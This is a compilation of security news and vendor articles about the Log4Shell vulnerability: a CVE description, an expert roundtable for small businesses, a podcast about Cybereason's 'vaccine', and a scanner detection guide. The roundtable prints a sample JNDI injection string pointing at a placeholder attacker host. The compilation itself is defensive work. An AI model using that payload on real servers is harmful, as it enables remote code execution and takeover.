CVE-2021-45046

 

Description

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Read More

What the Log4Shell Bug Means for SMBs: Experts Weigh In

 

Description

News of the Log4Shell vulnerability is everywhere, with security experts variously calling the Apache log4j logging library bug a recipe for an “internet meltdown,” as well as the “worst cybersecurity bug of the year.” Names like “Apple,” “Twitter” and “Cloudflare” are being bandied about as being vulnerable, but what does the issue mean for small- and medium-sized businesses?

We asked security experts to weigh in on the specific effects (and advice/remedies) for SMBs in a set of roundtable questions, aimed at demystifying the firehose of information around the headline-grabbing issue.

It may seem overwhelming for smaller companies. But our experts, from Anchore, Cybereason, Datto, ESET, HackerOne, Invicti Security, Lacework and Mitiga, have weighed in here with exclusive, practical advice and explanations specifically for SMBs dealing with Log4Shell.

_“Wiz research shows that more than 89 percent of all environments have vulnerable log4j libraries. And in many of them, the dev teams are sure they have zero exposure — and are surprised to find out that some third-party component is actually built using Java.” — Ami Luttwak, _co-founder and CTO at Wiz, which has seen its usage double as a result of Log4Shell (via email to Threatpo__st).

Questions answered (click to jump to the appropriate section):

• What bad Log4Shell outcomes are possible for SMBs?
• How is a real-world Log4Shell attack carried out?
• How can SMBs prepare for Log4Shell without a dedicated security team?
• What happens if an SMB uses an MSP?
• What applications should SMBs worry about being attacked?
• How can SMBs remediate a Log4Shell attack?
• Final thoughts

Background on Log4Shell

Log4Shell (CVE-2021-44228) affects applications that rely on the log4j library to log data. Because that library is almost ubiquitous in Java applications, virtually any business that has a website is highly likely to be affected. With one line of malicious code, attackers are able to execute malware or commands on a target application and take over the server that houses it.

From there, an attacker can carry out any number of further attacks.

“Small businesses are at significant risk because plenty of the software they rely on may be vulnerable, and they do not have the resources to patch quickly enough,” Ofer Maor, Mitiga CTO, told Threatpost.

SMBs also tend to rely on third-party software suppliers and managed service providers (MSPs) for their technology infrastructure, which reduces cost and reduces the need for dedicated IT staff. However, this unfortunately puts SMBs at even worse risk, because they need to rely on their third-party vendors to patch and respond in many cases.

The bug was first disclosed as a zero-day vulnerability last week, but an emergency fix has been rolled out that now must be incorporated by the many developers who use log4j in their applications. The steps to address Log4Shell for SMBs thus include identifying potentially affected applications (including those provided by MSPs), confirming the vulnerability’s impact within them, and applying or confirming updates as soon as possible. SMBs will also need to determine whether they’re already compromised and remediate the issue if so.

All of this should take priority since a slew of attacks is imminent, thanks to an exploit becoming publicly available online, researchers noted.

“Numerous attack groups are already actively exploiting this vulnerability, mostly through automated scripts,” Maor warned. “This means we expect to see this being exploited in masses, hitting tens of thousands or even more targets.”

What Bad Log4Shell Outcomes Are Possible for SMBs?

Ofer Maor, Mitiga CTO: One of the concerns is that a lot of these attacks now will focus on getting initial access only and establishing persistence (that is, installing something that will allow the attacker to have access to their systems later, even after the vulnerability has been fixed).

Marc-Étienne Léveillé, malware researcher for ESET: SMBs providing online services may expose their system to malware and data exfiltration if their systems use the log4j software to log events. The risk is quite high, given the exploit is available online and relatively easy to trigger. Once into the network, cybercriminals could pivot to gain access to additional resources.

Josh Bressers, vice president of security at Anchore: This vulnerability allows attackers to run the code of their choosing, such as a cryptominer, a backdoor or data-stealing malware, for example. One of the challenges for a vulnerability like this is the attacker landscape is changing rapidly. So far, most of the attacks seem to be using compute resources to mine cryptocurrency, but these attacks are changing and evolving each hour. It is expected that the attacks will gain in sophistication over the coming days and weeks.

Mark Nunnikhoven, distinguished cloud strategist at Lacework: Unfortunately…an attacker can take over your system or steal your data quite easily using this vulnerability.

Pieter Ockers, senior director of technical services at HackerOne:In a more devastating case, criminals that gain initial access to the victim’s environment could auction that access off to crews that specialize in executing ransomware attacks. SMBs should be hyper-aware of any of their software vendors/MSPs that use Apache log4j in case they are affected by a breach; I suspect we might hear of some ransomware attacks soon stemming from this vulnerability.

How Is a Real-World Log4Shell Attack Carried Out?

Cybereason CTO Yonatan Striem-Amit: The most prevalent attack scenarios we’ve seen are abusing things like the user agent or things like a log-in screen. If an application has a log-in page where a user is asked to put his username and password (and a lot of them do), an attacker could just supply the malicious string within that user field and get code execution on that server. After that he essentially controls logins, and therefore can start doing whatever he wants on that server, including, of course, eavesdropping into every other user who’s logging in to the environment with their password.

Adam Goodman, vice president of product management at Invicti Security:This attack is astonishingly easy to execute. This is because it may not require authentication to execute, nor would it require penetrating multiple application and/or networking layers to begin the exploit. It’s simply a text string sent to any places that will be logged. And finding such a place is very easy – it can be a simple header, or a simple text field or error condition sent to a log file.

To exploit Log4Shell, the attacker may use any user input subsequently logged by the log4j framework. For example, in the case of a web application, it may be any text entry field or HTTP header such as User-Agent. Server logging is often set to log headers as well as form data.

The attacker only needs to include the following string in the logged user input:

${jndi:ldap://attacker.com/executeme}

Where attacker.com is a server controlled by the attacker and executeme is the Java class to be executed on the victim server. And this is just one of many ways to exploit this vulnerability.

Lacework’s Nunnikhoven:“A real world-attack can be as simple as the attack sending a specifically crafted web request to a vulnerable server. When the server processes that request, the attacker then has access to the server. The Lacework Labs team has documented this attack and some other technical aspects of attacks we’ve seen in this blog post.”

Anchore’s Bressers:Attackers send requests to vulnerable applications, this triggers the vulnerability. The application then downloads a cryptocurrency mining application, in one scenario, and runs it on the compromised system. The cryptomining application then consumes large amounts of victim’s processing power while the attacker claims the cryptomining rewards.

Trend Micro published this attack-scenario flow on Tuesday (https://www.zerodayinitiative.com/blog/2021/12/14/the-december-2021-security-update-review).

How Can SMBs Address Log4Shell without a Dedicated Security Team?

HackerOne’s Ockers:These kinds of wide sweeping cyberattacks will always be a bigger challenge for those that lack a dedicated security team. If only one or two individuals in IT are working to monitor security, it’s even more important you’re prepared and have already taken stock of the software you’re using and your vendor’s software. Once you gain that visibility, I recommend patching any instances you find of log4j and updating the software to version 2.15.0 in your own software. I’d also confirm any vendors’ exposure and incident management around log4j patching and response.

According to Microsoft’s recent blog, the log4j 2 library is included in widely deployed Apache products including Struts 2, Solr, Druid, Flink and Swift. SMBs that have built applications with these products should conduct a code audit to determine if the vulnerable version of log4j is in use.

Mitiga’s Maor: SMBs should set up an immediate task force to map all affected homegrown systems and patch them, while allowing IT to map all external systems and communicate with the censored systems.

Anchore’s Bressers:This vulnerability is going to be especially challenging for small and medium business users without a dedicated security team. Ideally software vendors are being proactive in their investigations and updates and are contacting affected customers, but this is not always the case.

Depending on the level of technical acumen an organization has, there are steps that can be taken to detect and resolve the issue themselves. There are various open-source tools that exist to help detect this vulnerability on systems such as Syft and Grype. CISA has released guidance regarding this vulnerability, including steps a business can take.

Lacework’s Nunnikhoven:“While IT knowledge is required, the basic steps don’t require a security team. IT teams should be trying to find systems that use log4j in their environment and then apply one of the techniques the fantastic team of volunteers with the log4j project have published or the recommended guidance from that system’s vendors. This is a lot of work but it’s necessary to reduce the risk to your business.

_The log4j team’s resource is _available here, in the mitigation section under the “Fixed in Log4j 2.15.0” heading. Many organizations have also published free tools to help identify vulnerable applications, like this one, this one or this one.

Invicti’s Adam Goodman:It’s a nightmare of a problem if you have a surplus of Java applications deployed everywhere, not just on the primary website. Organizations should immediately determine where and how they directly or indirectly use this library and then take steps to mitigate the vulnerability by either upgrading the library or modifying Java system properties to disable the vulnerable functionality.

Aim to ensure that all applications have limited outbound internet connectivity, and use Ansible scripts or adequate security tools to scan en masse for the vulnerability before forcibly patching it. It’s crucial to use security tools that target all of the applications they can find so that organizations have a more accurate window into their security posture.

Organizations that lack sufficient budget to invest in discovery tools should make a list of Java applications which they add to continually, and check them off, while prioritizing apps that present the most risk if exploited.

What Happens if an SMB Uses an MSP?

Anchore’s Bressers:I would expect an MSP to take the lead on this issue for their customers. An MSP should be monitoring their infrastructure for indicators of compromise, applying workarounds when possible, and updating the managed applications as vendor updates become available. Any business using MSP services should reach out to their provider and request a status update on the Log4Shell.

Ryan Weeks, CISO at Datto: “Cyber-threats are always prevalent. Especially for small to medium-sized businesses (SMBs) – 78 percent of MSPs reported attacks against their client SMBs in the last two years alone. MSPs have a responsibility to diligently check for vulnerabilities and arm their customers with the tools to combat them. It’s not enough to simply install routine software updates. SMBs need to ensure their partners proactively push out security updates for any affected products, and continually monitor for potential exploits.

Invicti’s Adam Goodman:This is an issue front-and-center in the security community and if an organization is using an MSP, it’s highly likely that MSP is actively working on this. Confirm that a ticket and incident is open for this vulnerability, and ask the MSP for a list of managed applications that are under remediation. It’s vital to review that list of apps for anything that’s missing, including any back-office or forgotten tools in the mix. Ensure the MSP has visibility into the attack surface so that you both can better handle necessary containment steps moving forward.

Lacework’s Nunnikhoven:A managed service provider can help update and fix the systems they manage. A managed security service provider can help detect and stop attacks aimed at this issue, and help investigate any attacks that may have already taken place. The first step in both cases is speaking with your MSP/MSSP to understand the steps they are taking to help protect their customers.

What Applications Should SMBs Worry About?

Mitiga’s Maor: Impact can vary significantly as many custom-developed and off-the-shelf products are impacted. Many adversaries are using the vulnerability as part of mass-scanning efforts to identify vulnerable systems. Likewise, some known malware strains have already incorporated exploitation of this vulnerability into their spreading mechanisms. Any Java application might be affected.

Invicti’s Adam Goodman:SMBs should address worries and concerns based on business risk. Internet-facing apps should receive immediate priority, followed by applications that are critical to the software supply chain or back-office and financial applications. There is also an excellent effort from the security community to compile all affected technologies, it can be found here.”

ESET’s Léveillé:As a first step, SMBs should ask questions of the organization providing their internet-facing services such as their website. Then they should see if any of their applications use log4j to generate logs. Java applications and webservices would be the first to look at because log4j is a Java library.

Cybereason’s Striem-Amit: The world of Java and open source has so many dependencies, where a company might use one product, but it actually carries with it a dozen other libraries. So log4j could be present even though a company might not necessarily even be aware or … done it directly. So the scanning and the analysis is severely complex. And you have to go in each one of your servers and see, are we using log4j either directly or indirectly in that environment.

How Can SMBs Remediate a Successful Log4Shell Attack?

Mitiga’s Maor: Thankfully, there’s a lot that can be done to harden environments. For customers with internally developed applications, limiting outbound internet connections from servers to only whitelisted hosts is a great step, if challenging to implement. Likewise, a variety of cybersecurity companies have listed steps that can be taken to harden vulnerable versions of log4j if upgrades can’t be performed readily. Similarly, exploitation of this vulnerability and many others can be caught using typical compromise assessment techniques. It pays to threat hunt! Remediation is no different than recovering from any other type of RCE vulnerability.

Lacework’s Nunnikhoven:“Remediation of this issue will depend on where you find log4j. If it’s in something you’ve written, you can update the library or turn off the vulnerable feature. For commercial software and services, you’re reliant on the vendor to resolve the issue. While that work is ongoing, monitoring your network to attack attempts is reasonably straightforward…if you have the security controls in place.

Lacework Labs has published a detailed technical post on some of the attack techniques currently in use. Expect more variants as cybercriminals develop more techniques to avoid various security controls and other mitigation.

In situations like this it’s important to understand that until the root cause has been resolved (log4j updated or the feature in question turned off), attackers will continue to work to evade any mitigations that defenders put in place to stop them.

Anchore’s Bressers:An organization without an incident-management team on staff should reach out to an incident-management consulting group. There are a number of important steps that should happen when investigating any cybersecurity attack, successful or not, that can require preserving evidence, recovering data, and protecting employees and users. This is a serious vulnerability with serious consequences. It’s one of the worst we have seen in recent history because of its ease of exploitability, far-reaching impacts and powerful nature.

Final Thoughts

Datto’s Weeks: Scenarios such as the log4j vulnerability underscore the importance of proactivity in security. While many are now scrambling to address the vulnerability with patches, it’s equally more important to plan for subsequent attacks. Fortunately, there are solutions that can apply known workarounds for vulnerable instances.

HackerOne’s Ockers:As a best practice, I recommend all businesses have a clear understanding of the software used within their own systems. Even more important for SMBs in this instance — businesses should also have a clear understanding of the licensing agreements and security policies of any software vendors or service providers. This level of visibility lets security and IT teams quickly understand where they’re at risk if, and when, something like this is exploited.

ESET’s Léveillé:SMBs should verify if there were any successful attempts to exploit the vulnerability by looking at their logs.

HackerOne’s Ockers:SMBs and larger organizations alike will be affected. As we’re seeing, exploitation will continue to be widespread – this means it’s particularly important that SMBs check if vendors are still using the vulnerable version of log4j to process user-controlled or otherwise untrusted data. And, if so, SMBs should also ask vendors if their data is stored or processed in the same exposed environment.

Cybereason’s Striem-Amit: I think at the end of the day, really prioritize the most internet-facing environments, and rely on your service providers as much as they can to assist you with other patching. You’re welcome to use our vaccine to buy time. It does work remarkably well to make sure that, between now and when you actually end up patching the server, you’re kind of secure.

Read More

How to Buy Precious Patching Time as Log4j Exploits Fly

 

Description

Sure, Apache got a patch out fast when the Log4j logging library vulnerability – aka Javageddon or “up there with Shellshock” – exploded last week.

But emergency patches take days (best-case scenario) or weeks to install: plenty of time for attackers to do their worst.

Which they lickety-split did, and which they continue to do: Within hours of public disclosure of the flaw in the ubiquitous Java logging library, attackers were scanning for vulnerable servers and unleashing attacks to drop coin-miners, Cobalt Strike malware, the new Khonsari ransomware, the Orcus remote access trojan (RAT). reverse bash shells for future attacks, Mirai and other botnets, and backdoors. The list keeps growing.

Time was, and is, of the essence. Fortunately, multiple security pros, including Marcus Hutchins and Cybereason researchers, saw a simple way to kneecap the dizzying array of exploits and whipped up a vaccine. On Friday, Cybereason released the open-source Logout4Shell: A quick shot in the arm that disables the problematic Java Naming and Directory Interface, or JNDI, at the heart of the Log4Shell zero-day exploit.

On Monday, after a hectic weekend, Cybereason CTO Yonatan Striem-Amit joined me on the Threatpost podcast to talk about Logout4Shell. It’s not a replacement for the patch, he emphasized. Rather, it’s a way for beleaguered organizations to buy themselves some time to patch at their leisure (or as close to “leisure” as you can get in such a situation).

Nor, mind you, is Logout4Shell a Hafnium-esque situation: Nobody’s installing a fix onto people’s servers without their permission, as the FBI did in April when it cleared ProxyLogon webshells from hundreds of organizations’ Microsoft Exchange servers without asking first.

“There’s something very compelling with the idea of white-hat hackers, applying these techniques globally and … becoming kind of a vigilante force for good,” Striem-Amit said. That’s the romantic stuff of Hollywood fairytale – at least, if you don’t have the National Security Agency (NSA) backing you up, as the FBI did with its Hafnium move. Rather, this is just about giving organizations an option to fix the problem fast.

You can download the podcast below, listen here or check out the lightly edited transcript that follows. For more podcasts, check out Threatpost’s podcast site.

_Photo courtesy of SELF Magazine. _Licensing details.

Lightly Edited Transcript

Lisa Vaas: Yonatan, thank you for joining us. Could you give us a look, first, before we jump into anything, about what kind of a crazy weekend you all must have had?

Yonatan Striem-Amit: We learned of the vulnerability on Friday morning, late, late night, Thursday night, and then had to, you know, start marching almost everybody in the company towards really three critical questions.

One was you know, are we ourselves vulnerable? We’re a software company. … Blessedly, after very deep verification, the answer was no. There was no crazy patching to do. But definitely it was an option, a possibility. The second question on our mind, of course, was are our customers vulnerable, and how can we help protect them?

And how can we as a security vendor help defend their customers? And the third one: How do we help the community? How can we help the community with something that was clear to become a huge issue? At the get-go, it was clear that it’s something that’s so trivial to exploit, so easy and so damaging and so prevalent, and it’s going to be very, very quickly weaponized.

Lisa Vaas: Well, yeah, just a string of code and that’s it. Well, I’m really glad you talked about how you as a company had to figure out if you were vulnerable, had to find out where that logging library might be. Cause I wanted to ask you about how amount of work it is for smaller businesses, for bigger businesses too, for this to suddenly get dropped into IT teams’ laps.

What does it mean for the average business, especially those without dedicated IT staff who were presumably on a frantic hunt for all the places that Log4J might reside in their environments? What does that scenario look like?

Yonatan Striem-Amit: Absolutely. This, this is one of the most prevalent libraries in the Java world right now, which is basically running about a third of the world’s servers, and each company had to look at their entire estate and ask themselves – looking from the most internet-facing with really everywhere – which of them are running Java?

If they’re running Java, are they using Log4J library in there? There’s not even a question of where they’re using it directly. The world of Java and open source has so many dependencies where a company might use one product, but it actually carries with it a dozen other libraries. So Log4J could be present even though a company might not necessarily even be aware or have had [installed] it directly.

So the scanning and the analysis is severely complex. And you have to go into each one of your servers and see, Are we using Log4J either directly or indirectly in that environment? And if the answer is yes, then how can we mitigate that risk? Which, again, is trivially exploitable to a single string and takes, you know, minutes to set up an exploitation .

So that was a very, very interesting weekend not just for us but for really every company out there, I would say.

Lisa Vaas: Are you hearing from people about how they’re getting their arms around it? Especially if they don’t have a dedicated security team? And how does it look if they use an MSP? Which applications should they be most worried about?

Yonatan Striem-Amit: Absolutely. So we’ve had kind of inbound traffic about people asking us about that exact same question and it boils down to, you have to have an understanding of what is your attack surface.

Generally, every server potentially could become a victim here because of the way self-replication has arisen. These days it allows for pretty complex interactions, but definitely companies should prioritize those servers [that] are internet-facing. And then one of the most prevalent attack scenarios we’ve seen [is] abusing things like the user agent or things like a logging screen.

It’s a very visual example. If an application has a logging page where a user is asked to put his username and password, and a lot of them do – it’s considered best practice that if a user’s failed to authenticate, you would write to the log saying “the user whose name is ABC and D just failed to authenticate.” But because of the severity of that vulnerability, an attacker could just supply the malicious string within that user field and get code execution on that server, [which] essentially controls logins, and therefore start doing whatever he wants on that server – including, of course, eavesdropping into every other user who’s logging in to the environment with their password.

So that’s the scope here. So when people are asking us, what should they prioritize, first and foremost, everything that’s internet-facing and then go down. At the end of the day, you really have to look at everything. Now, this becomes more complex, where a lot of companies are operating, on their premises and on the data center, applications and services that they don’t actually own the code for.

If you’re buying a software that’s deployed on-premise, you don’t necessarily have access into the innards of the server to start [unintelligible] or patching the Log4J libraries. So of course the supply chain questions here become more complex. And then when you add the MSP question that you asked earlier, it’s really about how do you make sure that you collaborate between the MSPs, the security team and the IT team or any company to really go and see, “Can we patch quickly enough? Can we go and install the mitigations that were published at the get-go over those servers? And if everything else fails, can we use Cybereason’s vaccine to help at least buy time in this scenario?”

Lisa Vaas: Let’s talk about the vaccine. Now, as I understand it, you guys pulled it off in about 20 minutes or something like that. You were looking at a workaround first flagged by Marcus Hutchins that disables indexing and then uses the vulnerability itself to apply it. Tell me about the timeline of when you first saw that workaround and put it into action.

Yonatan Striem-Amit: Absolutely. That’s actually a funny story. When the patch became available on the 9th in the morning, the Apache blog itself said that there was one mitigation that could be used, which is disabling the ability to do lookups.

That was the [Java Naming and Directory Interface, or JNDI] lookup capability. It’s at the heart of this threat. I was talking to my co-founder. It was probably around 10:00 AM or 11:00 AM at the time. And this was still when we were trying to make sure that both our sales and our customers are secure, so that was top of mind at this point.

And we’re talking about this vulnerability being so open. It’s so easy to use. We can actually create a payload that turns off and deploys that solution. He spent some time thinking about it. And one of our senior developers, Maayan Sela, and myself said, you know what? Let’s do it. Took probably about an hour and a half to get the vaccine initial release working.

And we’ve had at this point, an ability to set up an attack server, which, once you attack your own server environment, it basically shuts off and applies the … mitigation that was available at the time on that particular server, making the server effectively immune for that exploitation.

At that point, we said, you know, while this is a very, very nice thing to use, it’s such an important thing right now. We want to make it open source. So we’ve made a decision to go and release that to the public, put this code on, GitHub and try to push it as much as we can to make it available for others over the last … Marcus Hutchinson workaround, actually, I think.

Either later or about the same timelines, we [were] probably all of us looking at the same question at the same time, but the idea of weaponizing the vulnerability … exploiting it in order to vaccinate a server, really happened independently, given the information available by the Apache team themselves.

And later on, we discovered something interesting: that the mitigation was only working on versions that were pretty recent of LOg4J that still left an overwhelming overwhelmingly large number of servers globally that even that workaround could not work on. So he eventually ended up writing a new version of the vaccine that also fixes the vulnerability on versions that officially did not have the mitigation available for them, whose only option at the time was, really, go and patch your system [with the upgraded] version. Our vaccine now works across all versions of the library of Log4J. So definitely we’re hoping that has a positive impact.

Lisa Vaas: That is wild. I mean, not only did you spin on a dime to come up with this vaccine, but then you realized that it’s not going to take care of all versions, so you did it again. And you’re quality-testing this, and, well, kudos. I’m sure there are a lot of people who are very happy about it. I did want to ask you, I saw Check Point’s blog this morning about a slew of variations that are coming out, including takes on the initial exploit that can exploit the flaw, as they said, either over HTTP or HTTPS. Which, they said, could give attackers more alternatives to slip past new protections. I’m assuming that with the vaccine, it’s a done deal on these? Or are these new mutations of the initial exploit something we’re worried about, in spite of that vaccine, or what?

Yonatan Striem-Amit: Absolutely. So the industry’s overwhelming response across the threat has been, how do we add the detections to firewalls, to [Intrusion Prevents Services, or IPSes], to security devices? And we’re able to look at them, and most of [the exploit variations] were just looking for the string, the sequence of letters, JNDI … and the rest of it to detect this exploitation. However, very, very quickly it became clear that there are infinitely complex variations of this string, because of the way the Log4J library works. So any approach of trying to say, you know, block these sequences of letters from getting to a server, and that will be our solution, was bound, was bound for failure.

And all of those variations really failed on that same point that the flexibility that was built into the Log4J library allows attackers infinite ways of combining and creating that vulnerable sequence in a way that defenders and the network security companies could not define a solution for.

[That’s] kind of the heart of the challenge and the security industry. The vaccine works very, very differently. Once you infect a server, it completely shuts down the mechanism underlying that attack. No matter how much of a variation you use, as long as it uses the same vulnerability, and no matter what variation of the vulnerability is involved, they all get blocked because we basically remove the mechanism that does this, and the JNDI itself gets blocked, and therefore cannot be abused further cause it’s just removed from the server.

Lisa Vaas: Right. Well, great. So take that, attackers! You’re going to have to come up with another version. Another version of the Java [version of] Heartbleed or Shellshock. You’re going to have to start from scratch again. I was going to ask you how the vaccine differs from Apache’s official patch, but I think you’ve pretty much answered that. I mean, you’re disabling the support for custom format or look-ups. So you’re shutting down the mechanism that the exploit was working by.

Is there anything else you wanted to say about differentiation from Apache’s official patch, besides that people should absolutely install that patch as soon as possible?

Yonatan Striem-Amit: I think that’s the most critical thing. It’s still the patch. Do whatever you can to install the official pass as quickly as possible and make sure that you are as quickly as possible compliant with the latest version that they have.

But our purpose was, again, to buy time. And the biggest issue is, people were all around saying “My patch cycle is so complex. Installing this emergency patch right now is going to take me days, in the best case scenarios, and then weeks [in more complex scenarios]. Most likely, however, hackers wouldn’t give us that long to leisurely go and patch our system.”

They already have started with on the order of millions of scans across the internet, using that exploitation to attack servers. So our vaccine is there to help you buy time and kind of buy the peace of mind to go into the [proper] solution, “at your leisure quote, unquote.” Again, it’s not, actually leisurely – you absolutely should be using the official patch, but the vaccine is here to help you buy time to do it. And the period of time and the underlying mechanism is relatively similar.

The patch from Log4J basically disables the local mechanism and makes it a default configuration, unless people explicitly say we actually want to use that local mechanism. And what we do is very similar in the vaccine. We’re just doing it on a running system without restarting, without requiring, you know, the admins [to access] the shell account and then [have to redeploy] and everything.

Lisa Vaas: Yeah. It sounds pretty painless, which is nice with something of this magnitude. It doesn’t require a restart or reconfiguration of the server itself. So it’s super easy to do.

Yonatan Striem-Amit: Yep. That was our goal here to get something that’s as easy as possible to use. So you can buy yourself some time to fix the problem.

Lisa Vaas: Nicely done. Well, let me ask you: some assumed, I think maybe, that this [is some kind] of weaponizing of the actual vulnerability, [and it’s] brought images of what was done with Hafnium webshells on Exchange servers to mind. Somebody give me feedback on Cybereason’s vaccine and they said, well, you know, that means running the fix without permission on infrastructure, similar to what the FBI and [Department of Justice, or DOJ] did earlier this year to mitigate Hafnium.

Clarify for us why that’s wrong. This is not a weaponization that’s forced on anybody. Right?

Yonatan Striem-Amit: Yeah. So I think the premise of the question was absolutely accurate. I think there’s a huge difference between what we as a commercial company can do versus what the legal authorities, the FBI and the [National Security Agency, or NSA] can do in these cases.

We’re happy to provide the knowledge of technicalities, but we don’t have the [authority] to go and break into others’ network to fix them without their permission. This is something that needs to be a conscious decision done by the person, the person or people who own these servers, making a conscious decision that yes, they realize the criticality. They chose this as the right solution and they decided to deploy the solution on their environment, as well as monitor, you know, everything. That’s about the agency we expect for ourselves. What do we also accept from others? And we’re happy to make the [licensing] information available, you know, freely on GitHub.

But we cannot be the ones going in and hacking into other servers. Even if our intention is purely to help, this is something that people should do for themselves.

Lisa Vaas: Where do you think people got the idea that [the vaccine] was going to be inflicted on them?

Yonatan Striem-Amit: There’s something very compelling with the idea of white-hat hackers, applying these techniques globally and … becoming kind of a vigilante force for good.

But unfortunately that’s where the romanticism ends. We need to make sure that people can make a conscious decision where they understand the risk and the rewards. They understand their options. They understand what it means for them to vaccinate their servers and make a conscious decision to say, yes, this is what we want to do.

I believe we can provide the knowledge. We help our customers and we help anybody who says they have a problem right now, and we’re happy to assess, but it needs to be done by the person who owns the store.

Lisa Vaas: All right. Thank you for clarifying all of that. Any last thoughts for people who are scrambling to fix this?

Yonatan Striem-Amit: Yeah. Again, I think at the end of the day, really prioritize the most internet-facing environments, and rely on your service providers as much as they can to assist you with other patching. You’re welcome to use the vaccine to buy time. It does work remarkably well to make sure that you, between now and when you actually end up patching the server, you’re kind of secure.

So that’s a critical part of it. We’re here to help.

Lisa Vaas: Thank you so much. And thanks to everybody at Cybereason for coming up with this fix. I bet you made a lot of people’s lives a lot easier. So thank you for that.

Yonatan Striem-Amit: We do hope so. We’ve heard … feedback, very, very, very positive about how much this has been a help, and assistance in this time of great need. So then I can actually go … in a more controlled path cycle, more than with the scale of this vulnerability. That’s the best we can hope for.

Lisa Vaas: That’s great. Thank you so much for coming on. I really appreciate you taking the time with us.

Yonatan Striem-Amit: Thank you for hosting.

Read More

Using InsightVM to Find Apache Log4j CVE-2021-44228

 

Description

There are many methods InsightVM can use to identify vulnerable software. Which method is best depends on the software and specific vulnerability in question, not to mention variability that comes into play with differing network topologies and Scan Engine deployment strategies. When it comes to a vulnerability like CVE-2021-44228, affecting a software library (Log4j) that is used to build other software products and may not expose its presence in an obvious way, the situation gets even more complicated. For in-depth analysis on the vulnerability and its attack surface area, see AttackerKB.

The intent of this post is to walk InsightVM and Nexpose users through how to best approach detecting exposure to Log4Shell in your environment, while providing some additional detail about how the various checks work under the hood. This post assumes you already have an operational deployment of InsightVM or Nexpose. For additional documentation on scanning for Log4j CVE-2021-44228, take a look at our docs here.

Before (or while) you scan

Even before a vulnerability check has been made available, it can be possible to get a sense of your exposure using InsightVM features such as Query Builder, or Nexpose’s Dynamic Asset Groups. Because we use generic fingerprinting techniques such as querying Linux package managers and enumerating software found in Windows Registry uninstaller keys, the software inventory for assets may include products that are not explicitly supported. Using the search predicate software.product CONTAINS log4j will show packages on Linux systems that have been installed via package managers such as rpm or dpkg.

An alternative approach to this is using an SQL Query Export using the following query:

SELECT
    da.sites AS "Site_Name",
    da.ip_address AS "IP_Address",
    da.mac_address AS "MAC_Address",
    da.host_name AS "DNS_Hostname",
    ds.vendor AS "Vendor",
    ds.name AS "Software_Name",
    ds.family AS "Software_Family",
    ds.version AS "Software_Version",
    ds.software_class AS "Software_Class"
FROM
    dim_asset_software das
JOIN
    dim_software ds USING(software_id)
JOIN
    dim_asset da ON da.asset_id = das.asset_id
WHERE
    ds.software_class like'%'
  AND
    ds.name ilike '%log4j%'
ORDER BY
    ds.name ASC

Authenticated and agent-based assessments

The most reliable way to find vulnerable instances of CVE-2021-44228 is via our authenticated checks (check IDs: apache-log4j-core-cve-2021-44228, apache-log4j-core-cve-2021-44228-2_16), which perform a complete filesystem search for JAR files matching log4j-core.*.jar. The authenticated checks support both Linux and Windows scanning as of version 6.6.121 released December 17, 2021. Note: Searching entire file systems across Windows assets is an intensive process that may increase scan time and resource utilization. To allow this, you can enable Windows file system searching in the scan template in order to use the authenticated check for Log4j on Windows systems.

In addition to enabling Windows file system search, WMI must be enabled for the authenticated check to run in Windows environments. The check looks for Log4j version information in the JAR filename. On Linux systems, when the unzip command is available, that command is used to extract the version from the JAR’s manifest file. There is also a fallback mechanism that allows the scanner to attempt to extract the version information from the filename. Customers should ensure they are running version 6.6.121 of the Scan Engine and Console.

For the find command to run and locate vulnerable JARs, scans must be configured with root credentials (either directly or via a privilege elevation mechanism) in the Site Configuration interface. On Windows systems, scans should run with local administrator privileges for the most comprehensive results.

Windows scanning functionality requires product version 6.6.121 or later. Insight Agent collection on Windows for Log4j has begun rolling out in version 3.1.2.38 as of December 17, 2021. It will take several days for this roll-out to complete. If you are using the Insight Agent to assess your assets for vulnerabilities and you are not yet on version 3.1.2.38, you can uncheck the “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems. Use the Agent Management interface to determine the version of the Agent being used in your environment.

Read more about scanning for Log4Shell here or visit our Customer Resource Center.

Remote scanning

IMPORTANT: For the unauthenticated remote check to correctly identify log4shell occurrences in your environment, target assets must be able to communicate back to your scan engine on port 13456.

A remote (unauthenticated) check for CVE-2021-44228 was published in a content release on December 12 9pm ET with Check ID apache-log4j-core-cve-2021-44228-remote. This check is platform-independent (will work against Linux, Windows, and other operating systems) and works as follows:

• IF any of the following TCP ports are found open: 80, 443, 8080, 8888 — or, alternatively, if: Nmap service fingerprinting detects HTTP or HTTPS running (note that enabling Nmap service fingerprinting may negatively impact scan times)
• THEN the Scan Engine will attempt to exploit the vulnerability and make the scan target open a connection to the Engine on port 13456.
• The Engine does not open a TCP listener but does a packet capture to identify connection attempts against 13456/TCP. If a connection attempt to the Engine is detected, this indicates that the target is vulnerable, and the check will fire accordingly. No data is returned from the scanned asset itself; the Engine is only monitoring for connection attempts, and not any additional data.
• This approach relies on bi-directional networking and requires the scan engine and scan target to be able to “talk” to each other. In some cases, such as scanning through a VPN, NAT, or firewall, that required bi-directional networking is not available.

Further information on enabling bi-directional communication

1. Create a rule in your firewall (or Layer 3 switch) to allow your Windows Asset / Network Segment (so in this case 192.169.1.10) to respond BACK to your Scan Engine (10.10.190.4) on TCP 13456.
   Source 192.168.1.10 Service TCP 13456 Destination 10.10.190.4
2. You should already have a Rule from your Scan Engine to allow scan on ports 80,443,8080 and 8888 to your Windows Asset / Network Segment.
   Source 10.10.190.4 Service 80/443/8080/8888 Destination 192.168.1.255
3. If you are not seeing any response back or seeing that you are finding ZERO vulnerabilities it is very possible that the issue is with the firewall rule (or network configuration). Check your firewall logs for any drops from the Windows Asset on Port 13456 attempting to talk to your Scan Engine. Also make sure that your Scan Engine is allowed to make the request to your Network Segments on ports 80,443,8080,8888 to initialize the trap/attack.

Product-based checks

